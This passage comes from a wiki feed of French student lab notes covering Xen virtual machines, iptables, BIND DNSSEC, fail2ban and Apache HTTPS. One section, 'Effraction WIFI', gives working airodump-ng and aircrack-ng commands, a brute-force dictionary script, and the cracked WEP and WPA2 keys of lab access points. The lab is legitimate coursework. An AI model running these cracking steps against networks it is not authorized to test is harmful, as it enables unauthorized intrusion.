    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12187</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12187"/>
		<updated>2026-02-10T16:05:32Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
